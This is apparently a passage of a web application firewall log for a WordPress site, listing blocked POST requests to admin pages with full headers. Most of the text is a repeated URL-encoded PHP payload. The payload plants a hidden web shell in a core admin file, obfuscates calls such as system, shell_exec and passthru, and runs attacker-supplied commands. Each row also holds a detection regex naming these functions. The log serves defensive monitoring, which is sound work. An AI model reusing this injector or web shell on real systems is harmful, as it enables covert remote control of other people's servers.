5277%2527.%25279%2527.%2524comp1.%2524comp2.%25277%2527.%25274%2527.%2524comp3.%25275%2527.%25276%2527.%2527d%2527%2529%253B%2524data_storage2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp2.%2524comp3.%25278%2527.%25276%2527.%25275%2527.%25276%2527.%2524comp4.%25276%2527.%2527c%2527.%25275%2527.%2527f%2527.%25276%2527.%25275%2527.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%2524comp3.%25273%2527%2529%253B%2524data_storage3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524comp5.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524data_storage4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25270%2527.%25276%2527.%2524comp6.%25277%2527.%25273%2527.%25277%2527.%2524comp2.%2524comp1.%25274%2527.%25276%2527.%2524comp7.%2524comp1.%2524comp8.%25277%2527.%25275%2527%2529%253B%2524data_storage5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524comp3.%2524comp9.%2524comp1.%25270%2527.%25276%2527.%25275%2527.%2524comp3.%2527e%2527%2529%253B%2524data_storage6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%2524comp2.%2524comp1.%2524comp10.%2524comp1.%25272%2527.%2524comp3.%25275%2527.%25276%2527.%25271%2527.%25276%2527.%2527d%2527.%2524comp5.%2527f%2527.%2524comp3.%2524comp1.%2524comp3.%2524comp5.%25277%2527.%25274%2527.%25275%2527.%2524comp9.%25276%2527.%2524comp2.%25276%2527.%2524comp9.%2524comp3.%2527e%2527.%2524comp1.%2524comp10.%2524comp3.%2524comp5.%25276%2527.%2524comp11.%25277%2527.%2524comp10.%2524comp1.%25273%2527%2529%253B%2524data_storage7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp12.%2524comp3.%25273%2527.%2524comp3.%2524comp4.%25276%2527.%2527f%2527.%25277%2527.%2524comp2.%25276%2527.%2524comp5%2529%253B%2524core_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp3.%25273%2527.%25276%2527.%2524comp9.%2524comp1.%25272%2527.%25276%2527.%25275%2527.%25275%2527.%2524comp9.%2524comp3.%2524comp5.%2524comp3.%2524comp11.%25276%2527.%2524comp1.%25276%2527.%2524comp13.%2524comp3.%2527e%2527.%25276%2527.%25275%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524core_engine%255D%2529%2529%257B%2524core_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524core_engine%255D%2529%253Bif%2528function_exists%2528%2524data_storage1%2529%2529%257B%2524data_storage1%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage2%2529%2529%257Bprint%2520%2524data_storage2%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage3%2529%2529%257B%2524data_storage3%2528%2524core_engine%252C%2524flg_elem%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524flg_elem%2529%253B%257Delseif%2528function_exists%2528%2524data_storage4%2529%2529%257B%2524data_storage4%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage5%2529%2526%2526function_exists%2528%2524data_storage6%2529%2526%2526function_exists%2528%2524data_storage7%2529%2529%257B%2524obj_res%253D%2524data_storage5%2528%2524core_engine%252C%2522r%2522%2529%253Bif%2528%2524obj_res%2529%257B%2524marker_key%253D%2524data_storage6%2528%2524obj_res%2529%253B%2524data_storage7%2528%2524obj_res%2529%253Bprint%2520%2524marker_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:39:29","208.109.188.137","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524comp1%2520%253D%2520%25277%2527%253B%2524comp2%2520%253D%2520%25273%2527%253B%2524comp3%2520%253D%2520%25276%2527%253B%2524comp4%2520%253D%2520%2527c%2527%253B%2524comp5%2520%253D%2520%25275%2527%253B%2524comp6%2520%253D%2520%25271%2527%253B%2524comp7%2520%253D%2520%25278%2527%253B%2524comp8%2520%253D%2520%25272%2527%253B%2524comp9%2520%253D%2520%2527f%2527%253B%2524comp10%2520%253D%2520%25274%2527%253B%2524comp11%2520%253D%2520%2527e%2527%253B%2524comp12%2520%253D%2520%25270%2527%253B%2524comp13%2520%253D%2520%25279%2527%253B%2524data_storage1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25273%2527.%25277%2527.%25279%2527.%2524comp1.%2524comp2.%25277%2527.%25274%2527.%2524comp3.%25275%2527.%25276%2527.%2527d%2527%2529%253B%2524data_storage2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp2.%2524comp3.%25278%2527.%25276%2527.%25275%2527.%25276%2527.%2524comp4.%25276%2527.%2527c%2527.%25275%2527.%2527f%2527.%25276%2527.%25275%2527.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%2524comp3.%25273%2527%2529%253B%2524data_storage3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524comp5.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524data_storage4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25270%2527.%25276%2527.%2524comp6.%25277%2527.%25273%2527.%25277%2527.%2524comp2.%2524comp1.%25274%2527.%25276%2527.%2524comp7.%2524comp1.%2524comp8.%25277%2527.%25275%2527%2529%253B%2524data_storage5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524comp3.%2524comp9.%2524comp1.%25270%2527.%25276%2527.%25275%2527.%2524comp3.%2527e%2527%2529%253B%2524data_storage6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%2524comp2.%2524comp1.%2524comp10.%2524comp1.%25272%2527.%2524comp3.%25275%2527.%25276%2527.%25271%2527.%25276%2527.%2527d%2527.%2524comp5.%2527f%2527.%2524comp3.%2524comp1.%2524comp3.%2524comp5.%25277%2527.%25274%2527.%25275%2527.%2524comp9.%25276%2527.%2524comp2.%25276%2527.%2524comp9.%2524comp3.%2527e%2527.%2524comp1.%2524comp10.%2524comp3.%2524comp5.%25276%2527.%2524comp11.%25277%2527.%2524comp10.%2524comp1.%25273%2527%2529%253B%2524data_storage7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp12.%2524comp3.%25273%2527.%2524comp3.%2524comp4.%25276%2527.%2527f%2527.%25277%2527.%2524comp2.%25276%2527.%2524comp5%2529%253B%2524core_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp3.%25273%2527.%25276%2527.%2524comp9.%2524comp1.%25272%2527.%25276%2527.%25275%2527.%25275%2527.%2524comp9.%2524comp3.%2524comp5.%2524comp3.%2524comp11.%25276%2527.%2524comp1.%25276%2527.%2524comp13.%2524comp3.%2527e%2527.%25276%2527.%25275%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524core_engine%255D%2529%2529%257B%2524core_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524core_engine%255D%2529%253Bif%2528function_exists%2528%2524data_storage1%2529%2529%257B%2524data_storage1%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage2%2529%2529%257Bprint%2520%2524data_storage2%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage3%2529%2529%257B%2524data_storage3%2528%2524core_engine%252C%2524flg_elem%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524flg_elem%2529%253B%257Delseif%2528function_exists%2528%2524data_storage4%2529%2529%257B%2524data_storage4%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage5%2529%2526%2526function_exists%2528%2524data_storage6%2529%2526%2526function_exists%2528%2524data_storage7%2529%2529%257B%2524obj_res%253D%2524data_storage5%2528%2524core_engine%252C%2522r%2522%2529%253Bif%2528%2524obj_res%2529%257B%2524marker_key%253D%2524data_storage6%2528%2524obj_res%2529%253B%2524data_storage7%2528%2524obj_res%2529%253Bprint%2520%2524marker_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:6941\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nxk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524comp1%2520%253D%2520%25277%2527%253B%2524comp2%2520%253D%2520%25273%2527%253B%2524comp3%2520%253D%2520%25276%2527%253B%2524comp4%2520%253D%2520%2527c%2527%253B%2524comp5%2520%253D%2520%25275%2527%253B%2524comp6%2520%253D%2520%25271%2527%253B%2524comp7%2520%253D%2520%25278%2527%253B%2524comp8%2520%253D%2520%25272%2527%253B%2524comp9%2520%253D%2520%2527f%2527%253B%2524comp10%2520%253D%2520%25274%2527%253B%2524comp11%2520%253D%2520%2527e%2527%253B%2524comp12%2520%253D%2520%25270%2527%253B%2524comp13%2520%253D%2520%25279%2527%253B%2524data_storage1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25273%2527.%25277%2527.%25279%2527.%2524comp1.%2524comp2.%25277%2527.%25274%2527.%2524comp3.%25275%2527.%25276%2527.%2527d%2527%2529%253B%2524data_storage2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp2.%2524comp3.%25278%2527.%25276%2527.%25275%2527.%25276%2527.%2524comp4.%25276%2527.%2527c%2527.%25275%2527.%2527f%2527.%25276%2527.%25275%2527.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%2524comp3.%25273%2527%2529%253B%2524data_storage3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524comp5.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524data_storage4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25270%2527.%25276%2527.%2524comp6.%25277%2527.%25273%2527.%25277%2527.%2524comp2.%2524comp1.%25274%2527.%25276%2527.%2524comp7.%2524comp1.%2524comp8.%25277%2527.%25275%2527%2529%253B%2524data_storage5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524comp3.%2524comp9.%2524comp1.%25270%2527.%25276%2527.%25275%2527.%2524comp3.%2527e%2527%2529%253B%2524data_storage6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%2524comp2.%2524comp1.%2524comp10.%2524comp1.%25272%2527.%2524comp3.%25275%2527.%25276%2527.%25271%2527.%25276%2527.%2527d%2527.%2524comp5.%2527f%2527.%2524comp3.%2524comp1.%2524comp3.%2524comp5.%25277%2527.%25274%2527.%25275%2527.%2524comp9.%25276%2527.%2524comp2.%25276%2527.%2524comp9.%2524comp3.%2527e%2527.%2524comp1.%2524comp10.%2524comp3.%2524comp5.%25276%2527.%2524comp11.%25277%2527.%2524comp10.%2524comp1.%25273%2527%2529%253B%2524data_storage7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp12.%2524comp3.%25273%2527.%2524comp3.%2524comp4.%25276%2527.%2527f%2527.%25277%2527.%2524comp2.%25276%2527.%2524comp5%2529%253B%2524core_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp3.%25273%2527.%25276%2527.%2524comp9.%2524comp1.%25272%2527.%25276%2527.%25275%2527.%25275%2527.%2524comp9.%2524comp3.%2524comp5.%2524comp3.%2524comp11.%25276%2527.%2524comp1.%25276%2527.%2524comp13.%2524comp3.%2527e%2527.%25276%2527.%25275%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524core_engine%255D%2529%2529%257B%2524core_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524core_engine%255D%2529%253Bif%2528function_exists%2528%2524data_storage1%2529%2529%257B%2524data_storage1%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage2%2529%2529%257Bprint%2520%2524data_storage2%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage3%2529%2529%257B%2524data_storage3%2528%2524core_engine%252C%2524flg_elem%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524flg_elem%2529%253B%257Delseif%2528function_exists%2528%2524data_storage4%2529%2529%257B%2524data_storage4%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage5%2529%2526%2526function_exists%2528%2524data_storage6%2529%2526%2526function_exists%2528%2524data_storage7%2529%2529%257B%2524obj_res%253D%2524data_storage5%2528%2524core_engine%252C%2522r%2522%2529%253Bif%2528%2524obj_res%2529%257B%2524marker_key%253D%2524data_storage6%2528%2524obj_res%2529%253B%2524data_storage7%2528%2524obj_res%2529%253Bprint%2520%2524marker_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:39:53","46.32.255.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524comp1%2520%253D%2520%25277%2527%253B%2524comp2%2520%253D%2520%25273%2527%253B%2524comp3%2520%253D%2520%25276%2527%253B%2524comp4%2520%253D%2520%2527c%2527%253B%2524comp5%2520%253D%2520%25275%2527%253B%2524comp6%2520%253D%2520%25271%2527%253B%2524comp7%2520%253D%2520%25278%2527%253B%2524comp8%2520%253D%2520%25272%2527%253B%2524comp9%2520%253D%2520%2527f%2527%253B%2524comp10%2520%253D%2520%25274%2527%253B%2524comp11%2520%253D%2520%2527e%2527%253B%2524comp12%2520%253D%2520%25270%2527%253B%2524comp13%2520%253D%2520%25279%2527%253B%2524data_storage1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25273%2527.%25277%2527.%25279%2527.%2524comp1.%2524comp2.%25277%2527.%25274%2527.%2524comp3.%25275%2527.%25276%2527.%2527d%2527%2529%253B%2524data_storage2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp2.%2524comp3.%25278%2527.%25276%2527.%25275%2527.%25276%2527.%2524comp4.%25276%2527.%2527c%2527.%25275%2527.%2527f%2527.%25276%2527.%25275%2527.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%2524comp3.%25273%2527%2529%253B%2524data_storage3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524comp5.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524data_storage4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25270%2527.%25276%2527.%2524comp6.%25277%2527.%25273%2527.%25277%2527.%2524comp2.%2524comp1.%25274%2527.%25276%2527.%2524comp7.%2524comp1.%2524comp8.%25277%2527.%25275%2527%2529%253B%2524data_storage5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524comp3.%2524comp9.%2524comp1.%25270%2527.%25276%2527.%25275%2527.%2524comp3.%2527e%2527%2529%253B%2524data_storage6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%2524comp2.%2524comp1.%2524comp10.%2524comp1.%25272%2527.%2524comp3.%25275%2527.%25276%2527.%25271%2527.%25276%2527.%2527d%2527.%2524comp5.%2527f%2527.%2524comp3.%2524comp1.%2524comp3.%2524comp5.%25277%2527.%25274%2527.%25275%2527.%2524comp9.%25276%2527.%2524comp2.%25276%2527.%2524comp9.%2524comp3.%2527e%2527.%2524comp1.%2524comp10.%2524comp3.%2524comp5.%25276%2527.%2524comp11.%25277%2527.%2524comp10.%2524comp1.%25273%2527%2529%253B%2524data_storage7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp12.%2524comp3.%25273%2527.%2524comp3.%2524comp4.%25276%2527.%2527f%2527.%25277%2527.%2524comp2.%25276%2527.%2524comp5%2529%253B%2524core_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp3.%25273%2527.%25276%2527.%2524comp9.%2524comp1.%25272%2527.%25276%2527.%25275%2527.%25275%2527.%2524comp9.%2524comp3.%2524comp5.%2524comp3.%2524comp11.%25276%2527.%2524comp1.%25276%2527.%2524comp13.%2524comp3.%2527e%2527.%25276%2527.%25275%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524core_engine%255D%2529%2529%257B%2524core_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524core_engine%255D%2529%253Bif%2528function_exists%2528%2524data_storage1%2529%2529%257B%2524data_storage1%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage2%2529%2529%257Bprint%2520%2524data_storage2%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage3%2529%2529%257B%2524data_storage3%2528%2524core_engine%252C%2524flg_elem%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524flg_elem%2529%253B%257Delseif%2528function_exists%2528%2524data_storage4%2529%2529%257B%2524data_storage4%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage5%2529%2526%2526function_exists%2528%2524data_storage6%2529%2526%2526function_exists%2528%2524data_storage7%2529%2529%257B%2524obj_res%253D%2524data_storage5%2528%2524core_engine%252C%2522r%2522%2529%253Bif%2528%2524obj_res%2529%257B%2524marker_key%253D%2524data_storage6%2528%2524obj_res%2529%253B%2524data_storage7%2528%2524obj_res%2529%253Bprint%2520%2524marker_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:6941\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDzDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nBd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524comp1%2520%253D%2520%25277%2527%253B%2524comp2%2520%253D%2520%25273%2527%253B%2524comp3%2520%253D%2520%25276%2527%253B%2524comp4%2520%253D%2520%2527c%2527%253B%2524comp5%2520%253D%2520%25275%2527%253B%2524comp6%2520%253D%2520%25271%2527%253B%2524comp7%2520%253D%2520%25278%2527%253B%2524comp8%2520%253D%2520%25272%2527%253B%2524comp9%2520%253D%2520%2527f%2527%253B%2524comp10%2520%253D%2520%25274%2527%253B%2524comp11%2520%253D%2520%2527e%2527%253B%2524comp12%2520%253D%2520%25270%2527%253B%2524comp13%2520%253D%2520%25279%2527%253B%2524data_storage1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25273%2527.%25277%2527.%25279%2527.%2524comp1.%2524comp2.%25277%2527.%25274%2527.%2524comp3.%25275%2527.%25276%2527.%2527d%2527%2529%253B%2524data_storage2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp2.%2524comp3.%25278%2527.%25276%2527.%25275%2527.%25276%2527.%2524comp4.%25276%2527.%2527c%2527.%25275%2527.%2527f%2527.%25276%2527.%25275%2527.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%2524comp3.%25273%2527%2529%253B%2524data_storage3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524comp5.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524data_storage4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25270%2527.%25276%2527.%2524comp6.%25277%2527.%25273%2527.%25277%2527.%2524comp2.%2524comp1.%25274%2527.%25276%2527.%2524comp7.%2524comp1.%2524comp8.%25277%2527.%25275%2527%2529%253B%2524data_storage5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.